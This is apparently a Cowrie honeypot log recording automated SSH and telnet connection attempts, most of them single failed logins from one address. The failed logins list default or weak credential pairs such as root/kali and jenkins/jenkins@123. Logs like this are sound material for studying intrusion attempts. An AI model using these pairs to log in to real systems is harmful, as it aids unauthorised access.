{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:39:41.524071Z","src_ip":"192.109.200.237","session":"09fa3c9f8225","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123qwe!@","message":"login attempt [root/123qwe!@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:39:41.783478Z","src_ip":"192.109.200.237","session":"09fa3c9f8225","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:39:42.869557Z","src_ip":"192.109.200.237","session":"09fa3c9f8225","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":42200,"dst_ip":"159.203.135.109","dst_port":22,"session":"cd1ae24d224b","protocol":"ssh","message":"New connection: 192.109.200.237:42200 (159.203.135.109:22) [session: cd1ae24d224b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:39:44.700334Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:39:44.705492Z","src_ip":"192.109.200.237","session":"cd1ae24d224b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:39:44.787939Z","src_ip":"192.109.200.237","session":"cd1ae24d224b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kingbase","password":"123456","message":"login attempt [kingbase/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:39:45.034906Z","src_ip":"192.109.200.237","session":"cd1ae24d224b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:39:46.176054Z","src_ip":"192.109.200.237","session":"cd1ae24d224b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":42210,"dst_ip":"159.203.135.109","dst_port":22,"session":"91a5a8d2676f","protocol":"ssh","message":"New connection: 192.109.200.237:42210 (159.203.135.109:22) [session: 91a5a8d2676f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:39:47.917434Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:39:47.921366Z","src_ip":"192.109.200.237","session":"91a5a8d2676f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:39:48.002378Z","src_ip":"192.109.200.237","session":"91a5a8d2676f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"yealink","password":"yealink","message":"login attempt [yealink/yealink] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:39:48.247267Z","src_ip":"192.109.200.237","session":"91a5a8d2676f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:39:49.332551Z","src_ip":"192.109.200.237","session":"91a5a8d2676f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":49144,"dst_ip":"10.17.0.5","dst_port":23,"session":"89df5bb12b30","protocol":"telnet","message":"New connection: 50.6.8.71:49144 (10.17.0.5:23) [session: 89df5bb12b30]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:39:49.870542Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":32784,"dst_ip":"159.203.135.109","dst_port":22,"session":"1ae9d8702b9f","protocol":"ssh","message":"New connection: 192.109.200.237:32784 (159.203.135.109:22) [session: 1ae9d8702b9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:39:51.269641Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:39:51.273977Z","src_ip":"192.109.200.237","session":"1ae9d8702b9f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:39:51.359333Z","src_ip":"192.109.200.237","session":"1ae9d8702b9f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jenkins","password":"jenkins@123","message":"login attempt [jenkins/jenkins@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:39:51.604944Z","src_ip":"192.109.200.237","session":"1ae9d8702b9f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:39:52.689788Z","src_ip":"192.109.200.237","session":"1ae9d8702b9f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":32796,"dst_ip":"159.203.135.109","dst_port":22,"session":"1e5b03649d2d","protocol":"ssh","message":"New connection: 192.109.200.237:32796 (159.203.135.109:22) [session: 1e5b03649d2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:39:54.503919Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:39:54.508100Z","src_ip":"192.109.200.237","session":"1e5b03649d2d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:39:54.589694Z","src_ip":"192.109.200.237","session":"1e5b03649d2d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!Q2w3e4r","message":"login attempt [root/!Q2w3e4r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:39:54.837669Z","src_ip":"192.109.200.237","session":"1e5b03649d2d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:39:55.999944Z","src_ip":"192.109.200.237","session":"1e5b03649d2d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":32798,"dst_ip":"159.203.135.109","dst_port":22,"session":"17d3de97d30e","protocol":"ssh","message":"New connection: 192.109.200.237:32798 (159.203.135.109:22) [session: 17d3de97d30e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:39:57.729720Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:39:57.734147Z","src_ip":"192.109.200.237","session":"17d3de97d30e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:39:57.816512Z","src_ip":"192.109.200.237","session":"17d3de97d30e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"12345678","message":"login attempt [user/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:39:58.062734Z","src_ip":"192.109.200.237","session":"17d3de97d30e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:39:59.147976Z","src_ip":"192.109.200.237","session":"17d3de97d30e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00219058990479,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:40:00.000793Z","src_ip":"212.252.73.4","session":"eca95c20b99c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":33086,"dst_ip":"159.203.135.109","dst_port":22,"session":"fdad19a4912e","protocol":"ssh","message":"New connection: 192.109.200.237:33086 (159.203.135.109:22) [session: fdad19a4912e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:40:01.054097Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:40:01.059894Z","src_ip":"192.109.200.237","session":"fdad19a4912e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:40:01.142272Z","src_ip":"192.109.200.237","session":"fdad19a4912e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.252.73.4","src_port":47959,"dst_ip":"10.17.0.5","dst_port":23,"session":"38813a4ab220","protocol":"telnet","message":"New connection: 212.252.73.4:47959 (10.17.0.5:23) [session: 38813a4ab220]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:40:01.328054Z"}
{"eventid":"cowrie.login.failed","username":"devops","password":"devops","message":"login attempt [devops/devops] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:40:01.390101Z","src_ip":"192.109.200.237","session":"fdad19a4912e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:40:02.475741Z","src_ip":"192.109.200.237","session":"fdad19a4912e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":33100,"dst_ip":"159.203.135.109","dst_port":22,"session":"dad278417d88","protocol":"ssh","message":"New connection: 192.109.200.237:33100 (159.203.135.109:22) [session: dad278417d88]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:40:04.392822Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:40:04.401791Z","src_ip":"192.109.200.237","session":"dad278417d88","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:40:04.486525Z","src_ip":"192.109.200.237","session":"dad278417d88","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"kali","message":"login attempt [root/kali] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:40:04.743075Z","src_ip":"192.109.200.237","session":"dad278417d88","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":53320,"dst_ip":"10.17.0.5","dst_port":23,"session":"2db6db006a0f","protocol":"telnet","message":"New connection: 50.6.8.71:53320 (10.17.0.5:23) [session: 2db6db006a0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:40:05.038332Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:40:05.834389Z","src_ip":"192.109.200.237","session":"dad278417d88","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":33110,"dst_ip":"159.203.135.109","dst_port":22,"session":"275c86fc2922","protocol":"ssh","message":"New connection: 192.109.200.237:33110 (159.203.135.109:22) [session: 275c86fc2922]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:40:07.689578Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:40:07.694245Z","src_ip":"192.109.200.237","session":"275c86fc2922","protocol":"ssh"}
